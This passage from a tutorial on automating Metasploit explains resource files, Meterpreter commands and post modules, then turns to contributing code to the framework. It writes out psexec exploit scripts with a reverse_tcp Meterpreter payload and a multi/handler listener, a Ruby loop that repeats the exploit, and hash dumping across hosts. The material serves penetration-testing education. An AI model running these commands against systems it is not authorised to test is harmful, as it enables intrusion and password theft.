Although the meterpreter payload is where automation really gets interesting, I think it’s important to note that you already have some idea how to automate Metasploit. As mentioned previously, you can use the ‘resource’ command and if you explored the command line options for msfconsole you may have noticed the ‘-r’ option. Metasploit resource files provide the same functionality as resource files in Linux, they are files consisting of commands which are simply executed sequentially. You can write a resource file by hand or use the ‘makerc’ command to automatically write your previously entered console commands to an rc file. You can then open the rc file in a text editor to correct errors and remove unnecessary commands such as ‘show options’. Create a resource file with the following commands:

use exploit/windows/smb/psexec

show options


set SMBPass mypassy

set SMBUser tester

set PAYLOAD windows/meterpreter/reverse_tcp

exploit # check out the -j and -z options for more control

Run your resource file using ‘resource myres.rc’, or have it run automatically when the console is started by invoking the console as ‘msfconsole -r path/to/myres.rc’. A common location for resource files is <msf_install_dir>/scripts/resource/ and msfconsole will tab complete (I actually contributed this code and it was my first foray into tab completion and msfconsole code. Both of which frightened me. I continue to contribute in these areas as I like to add and fix functionality where it impacts me the most. (shortened url)) and load them from there first, followed by the current working directory. But to truly make the most out of your resource files, you’ll want to explore Meterpreter.

Meterpreter is a very capable payload and has numerous options, so we will only cover a few of them. Run ‘help’ to see them all. Like the console, the options are grouped by theme and new commands will be presented if new functionality is added using the ‘load’ command. ‘load’ will load a meterpreter extension (i.e. plugin) which dynamically adds new functionality to the payload, automatically uploading additional libraries as needed (dll’s in this case). Some plugins such as “stdapi” are automatically loaded The “espia” and “incognito” plugins are especially interesting. Many of the other commands will be quite familiar to anyone who uses the command line, especially in Linux, and will not be discussed.

Table 3. Some useful Meterpreter commands

Background (Ctrl-Z usually accomplishes this as well.)

Backgrounds the current session


Terminate the meterpreter session


Help menu


Displays information about a Post module


Load one or more meterpreter extensions


Migrate the server to another process


Run the commands stored in a file


Executes a meterpreter script or Post module

Many other commands fall under the areas of file system (ls, cat, download, upload etc.), networking (ifconfig, portfwd, route etc.), system (execute, getpid, getuid, kill, ps, shell, sysinfo etc.) among other areas. You’ll have to spend some time exploring the command set to become truly familiar with Meterpreter. You may want to run ‘getuid’ and ‘getpid’ to determine under what account (uid) and process ID your Meterpreter is running. You can then run ‘ps’ to see the other running processes and to determine the process name for your pid. Running ‘shell’ will drop you to a command shell which is obviously very handy (run Ctl-Z to background the shell and return to Meterpreter). Running ‘sysinfo’ will give you basic information about the host. From here you could migrate Meterpreter to another process, depending on permissions. Migration is extremely useful, especially when Meterpreter is in a process which is likely to be terminated, such as a browser process. This is common when the exploit module was a client-side attack such as a browser exploit, or exploit/windows/fileformat/apple_quicktime_texml which affects QuickTime. This exploit module affects Windows XP SP3, but has been modified to work on Windows7 (DjManilaIce (Matt Molinyawe) demonstrates a privately updated version of the exploit module running on Windows7: It is not uncommon for private module versions to exist for various reasons, most often due to intellectual property concerns (There is even a market for updated and “1-day” exploit modules, see These modules are marketed towards professional pentesters. As of 2nd Qtr 2012 there are 116 Metasploit exploit modules available. Notice who wrote most of those modules…(not me)) or because of stability issues with the new version (There is an entire branch of the Metasploit code dedicated to unstable modules: Most commonly, running a post module is the next step. A post module can be run using the ‘run’ command from within the Meterpreter context, or by running ‘use post/path/to/postmod’ from the msfconsole context. Since it is difficult to show the post module’s options while in the Meterpreter context, I usually only use this syntax when I know the options already, or the module doesn’t require that I set any options. Otherwise, I usually background the meterpreter session and return to the msfconsole context so I can utilize the ‘use’ method. There are 500+ post modules, broken down by operating system and then theme. The Windows OS has the most post modules and they are grouped into capture (keystrokes etc.), escalate (privileges), gather (user, host, domain, or network information etc.), manage (the host or the meterpreter environment), recon, and wlan. You can do just about anything (Seriously, anything. Especially because of railgun. Railgun is a Windows API bridge allowing you to call into any DLL (not just operating system DLLs), taking advantage of anything in the Windows API), but a common practice at this point is to dump the accounts and their password hashes. The process and semantics are the same as running any other module: Figure 8.


Figure 8. Running the post/windows/gather/hashdump module

Remember to:

T: Tab complete everything.

U: ‘use’ a module.

S: ‘show options’.

S: ‘set’ options.

E/R: ‘exploit’ an exploit module and ‘run’ post and aux modules

I think at this point, you can appreciate how simple it would be to write a resource script that could maybe loop through a group of IPs, create a session on each, and dump the hashes. This could be useful for testing an enterprise’s password complexity compliance for instance. Or, what if you ran a test range and you want to make sure each host has a specific application, configuration, or environment. You could loop through running various post modules. Although there are more post modules for the Windows OS than any other, there are also several Linux post modules and even multi-OS modules which run on most modern platforms (find them in post/multi/*). If you attempt to write a resource script like this, you may find yourself wanting to store results easily as well as run some “glue” code for things like looping over IPs or reading them from a file. Metasploit has a postgres database which is incredibly helpful for storing and exporting data. Most well-written post modules will use the database (via ‘db_report’ and ‘loot’ etc.) but not all, especially not the older modules. A post module can even create an arbitrary database note (db_note) against a host, port, vulnerability etc. The database has its own set of options available through the msfconsole context. The ‘hosts’ command will display the known hosts and pertinent info about each. ‘hosts -o’ will dump the contents in a friendly CSV output. As for the glue code, well Metasploit has you covered. You can run ruby inline in your resource file by supplying <ruby> </ruby> tags. This makes looping very easy and essentially makes a resource file capable of arbitrary complexity. The ruby can even be used to load new ruby gems which the framework doesn’t normally need. There are numerous examples of this in action on the Internet (excellent stuff from mubix: A super simple example which just runs our psexec exploit module 3 times:

use exploit/windows/smb/psexec


set SMBPass mypassy

set SMBUser tester

set PAYLOAD windows/meterpreter/reverse_tcp


3.times { run_single(“exploit -z”) }

# run_single is how you run a console command when you are in the ruby tag

# exploit -z indicates we don’t want to auto-interact w/the session


When automating the console and exploit modules like this, you will sometimes find that Metasploit throws errors because a port is already bound by another payload’s “handler”, or you’ll see exploitation fail because the handler is not listening anymore. When you use a reverse connecting (reverse binding) payload, the framework automatically sets up a listening server called the handler, which handles payloads connecting back to the Metasploit instance. To gain finer grained control over this process you can ‘set DisablePayloadHandler true’ before executing the exploit module. As a consequence, you must set up the handler yourself, and you will see options we haven’t dealt with directly yet. You must do this before you execute the exploit or the connection will fail. A useful technique in this scenario is to ‘set ExitOnSession false’ which tells the handler to remain listening for more connections instead of terminating after the first session is created. DisablePayloadHandler and ExitOnSession are considered advanced options. You can see advanced options by running ‘show advanced’. You may also want to check out evasion options…guess how you see those? Our new code starts like this: Listing 1.

Listing 1. Example resource file (manually setting up a payload handler)

use multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp # this MUST match the exploit’s payload

set LHOST # this is the local interface to which we will bind the handler

set LPORT 4343 # we choose a different local port on which to listen

set ExitOnSession false # keep the handler up after the first session is created

exploitj # this runs the handler as a background job

use exploit/windows/smb/psexec


set SMBPass mypassy

set SMBUser tester

set PAYLOAD windows/meterpreter/reverse_tcp

set DisablePayloadHandler true # this tells the framework not to start a payload handler for us

exploitz # -z indicates we don’t want to auto-interact w/the session

As I became more capable with Metasploit, right about when I got to this point here in my learning, I started to use this approach to manage test labs, help test my company’s defenses with custom post modules (If you dig around, you can find some of them here:, and even enumerate enterprise networks after a breach to help identify rogue network hosts (See the first topic area in this presentation (flash): I began to understand how to interrogate the framework instance for information (You can find various examples, some silly, some very interesting, and generally peruse some of my rc files at (while inside the ruby tags) such as ‘framework.sessions’ and ‘active_module.fullname’ and I started to feel somewhat capable. I started hosting VMs to test my new creations. I found myself doing lots of tedious work starting the VM, establishing a session, loading my experimental module, and running it. Much of this I automated with resource files, but some I could not. I also became active on the #metasploit IRC channel which gave me further insights. Two things happened around this time which accelerated my learning. First, I volunteered to attempt to add some desired functionality mentioned by Egyp7 ( and some of the calling code. In fact, I’m still working on it, it’s the “nnmeterp” branch on my github above). This was not easy for me at the time, as I had no idea if I could do it, how long it would take me, and I didn’t really know how the process of contributing even worked (MSF used svn back then, they use git now, not that it would have made much difference to me). I wrote the code and submitted it as best I could, and it wasn’t even integrated properly. Egyp7 integrated it, tested it and submitted it. Seeing that code integrated showed me I could do it myself. I have to thank Egyp7 tremendously at this point, because once I started submitting useful code, he spent some one-on-one IRC time with me, even though we had never met or spoken (although we have now), which really accelerated my understanding. And many folks on the IRC channel give up their own time to help out the n00bs. Just keep in mind that the time given is in proportion to the quality of your questions. Try not to ask questions that can be solved by a quick Google search, etc. Second, as I increasingly began using virtual machines, I noticed a lesser-known feature in MSF called “lab”. Lab (Jon later turned the plugin into a full-blown, stand-alone ruby gem which can be found here: but for the very latest code, see: was a console plugin you could use to manage and manipulate virtual machines, but nobody was using it. Between learning to use it and fixing a few bugs I found, I started interacting with the author, Jonathan Cran (jcran), who I would find out later was the Director or Quality Assurance at Rapid7 for Metasploit (Metasploit was acquired in Oct 2009 by Rapid7 but the framework remains (and benefits) as open source). Jon was insanely nice, helpful and excited to have the bug fixes. I noticed he wanted VMWare ESX/ESXi support for the lab plugin, and I had been dealing with ESXi at work, so I decided to give it shot. This was a very smart thing to do…not only did I learn a lot about Ruby, but I eventually met Jon at DefCon and now we collaborate on all sorts of projects and I continue to marvel at his knowledge, willingness to share and teach, and his gregarious personality (Seriously, most of us are either introverted or just plain don’t like most people. Jon knows everyone. How we met at DefCon is a funny story…buy me a beer sometime and I’ll tell you). I eventually parlayed my experiences into a co-presenter arrangement with Jon at Source Barcelona 2011 (The video:, the “slides” (requires flash): where I got a close-up look at jcran’s dedication. We both saw the flexibility of MSF and how it could be used to solve all sorts of problems, or just to improve current working solutions.

The Source Barcelona presentation is an excellent example of what you can do, with even the simple automation code we have seen so far in this article, and how you can take those humble beginnings and do some truly interesting things. Some of the ideas we had included host anomaly detection (I actually implemented this in real life, the auxiliary/scanner/smb/smb_version module is amazing), network regression testing, continuous discovery/enumeration, testing & training software, hardware, and meatware (the people), automating a test lab, simulating attacks/attackers).

At this point, is probably when I started to fancy myself as an actual Metasploit contributor, however, this is also when the contribution process changed pretty dramatically.

tour_stops.last # Developing for and Contributing to MSF

While developing your own code for Metasploit and contributing it back to the community are entirely separate activities, they are also often tied together. Once you feel comfortable writing some of your own code, I encourage you to approach the process as if you are always going to contribute the code. This forces you to set up your environment properly and follow at least reasonably good coding practices. Most importantly, you will be less likely to lose or corrupt your code.

The first thing you need to know is Metasploit converted from svn to git in November 2011. In order to submit any contributions beyond maybe one-line fixes, you can save everyone a lot of time and pain by using git. Now, if you haven’t used git before, you’re admittedly going to need some time and some pain tolerance, but once you get going, you’ll love it (Ok, maybe “love” is a strong word. Let’s say you’ll appreciate its usefulness and technical prowess, and occasionally curse at it profusely). There are many guides to using and setting up git (, and since it’s not strictly required to write your own code, we will not cover it except to point out that there is an excellent development environment guide ( for Metasploit which covers the full process. To get started more quickly, you may just want to run the MSF installer and then skip to the git setup. However, if you plan on doing any major contribution, you’ll want to set up a full development environment because multiple versions of Ruby are fully supported and you’ll want to ensure your code runs on all of them. Regardless, to properly submit a contribution, you’ll need at least a account. Don’t worry it’s painless and actually pretty awesome. You’ll find yourself putting all your code on if for no other reason than to have access to it from anywhere and as a backup so you don’t lose your code. I wrote several post modules, resource scripts etc., before the switch to git, but over time they almost all made their way onto github even though many were never submitted (usually because they are poorly written, need polishing, or are too narrowly focused) (See for yourself:

Since there are so many resources out there, we’ll just cover some msfconsole commands and datastore options which we skipped previously, but now may become very useful. We’ll also talk about some tips to help you sift through the giant codebase that is MSF (Ohloh says it’s 2M lines of code including blank lines: But don’t worry; you’ll likely never need to examine that much of it) (Table 4).

Table 4. Msfconsole commands commonly used during development




Change the current working directory


Drop into irb scripting mode


Searches for and loads modules from a path


Save commands entered since start to a file


Reloads all modules from all defined module paths


Run the commands stored in a file


Saves the active datastores


Write console output into a file as well the screen


Show the framework and console library version numbers


Open a Pry session on the current module

There are a few status/log related datastore settings you might find useful. You can see them most easily by running the ‘back’ command until you are at the msfconsole main prompt again (“msf>”) and then running ‘show options’. Setting ConsoleLogging or SessionLogging will log all console (or session) I/O and naturally setting LogLevel to a higher value increases the detail you’ll see in your logs at ~./msf4/logs (0 is the default value and 5 is the max). Setting VERBOSE to true will increase the verbosity of msfconsole status messages. Before we talk about some commands, you can save yourself loads of frustration if you A) use Linux for MSF development, I can’t even imagine using Windows for it and B) make the following two changes to your shell environment. Add an ‘rgrep’ function or similar to your shell ( to help you find where code is declared and add at least the current git branch to your prompt ( to avoid much git grief down the road.

Many of the commands are self-explanatory, but a few need some elaboration. The ‘irb’ command is FANTASTIC. It opens an interactive ruby (irb) session while the framework is fully loaded. This is insanely helpful when you want to explore the name and object spaces. Two quick hints, the “framework” variable holds the framework instance, and the “client” variable holds the meterpreter instance if you run ‘irb’ from within the meterpreter context. You could for instance run something like s = framework.sessions, s.first[1].alive?, or s.first[1].exploit.fullname which would be the same as client.exploit.fullname from the meterpreter context. You can also run tools/msf_irb_shell.rb from a system command shell if you didn’t have MSF already running. While we’re talking about the tools directory, there are some other code exploration and other standalone tools in there you should explore. One you should use if submitting any contributions is msftidy.rb, which will help you comply with MSF coding styles. Those styles can be found in the HACKING text file in your installation directory.

Other useful commands include ‘loadpath’ in case you store your modules in a non-standard location. The best location to store your personal modules is usually ~/.msf4/modules because modules there are automatically loaded by the framework, but will not get overwritten by any updates. The same goes for plugins (~/.msf4/plugins). This (~./msf4) is where you will also find your configuration info, command history, logs, etc. The ‘save’ command will save local datastores so you don’t have to keep setting RHOST etc. ‘spool’ writes all the console output to a file in addition to stdout which helps you examine what happened in the past, especially when running a long resource file for example, or simply to record what happened. This can also be helpful for finding your own bugs as well as submitting bugs back to Metasploit, as can the ‘version’ command which will print the framework and console versions. For serious help debugging your own modules, I highly recommend the ‘pry’ command. Pry is an awesome Ruby gem ( and which basically gives you an irb-like console designed for debugging. You can even have your module spawn a pry session at a specific point by putting “binding.pry” at the code location.

As a reward for reading this far, and because I know the Metasploit codebase can be overwhelming, I’d like to mention that you can develop in a development IDE. There are not many full-featured Ruby IDE’s, but here is an excellent guide and walkthrough put together by Matt Molinyawe (DjManilaIce) for exploring MSF code in netbeans:

Setting up netbeans:

Exploring MSF code:

tour.close # Enough Already, My Head Hurts

I hope you enjoyed the tour and are convinced you can master Metasploit and start writing your own code. Hopefully you will even start contributing back to this great tool and community. It’s pretty amazing what you can accomplish if you dive in and “meet” some of the great people who make up the Metasploit community. The tour guide would like to thank: his wife first and foremost for her understanding, as well as MC, egypt, jcran, hdmoore, djmanilaice, Art Pemberton, Chris Semon, Jay Turner, Amy Castner, Laura Nolan, Andy Oak, and countless others too numerous to name.

Additional Reading

Metasploit Resources (book)

Getting started with Ruby (free book) (free book)

Setting up a Metasploit development environment (adding current git branch to your Linux prompt) (movie)

Automating and Extending the Metasploit Framework, the Hacker’s Other Swiss Army Knife

Cool contributions and code (there are too many to do real justice, so this is stuff in which I’m involved)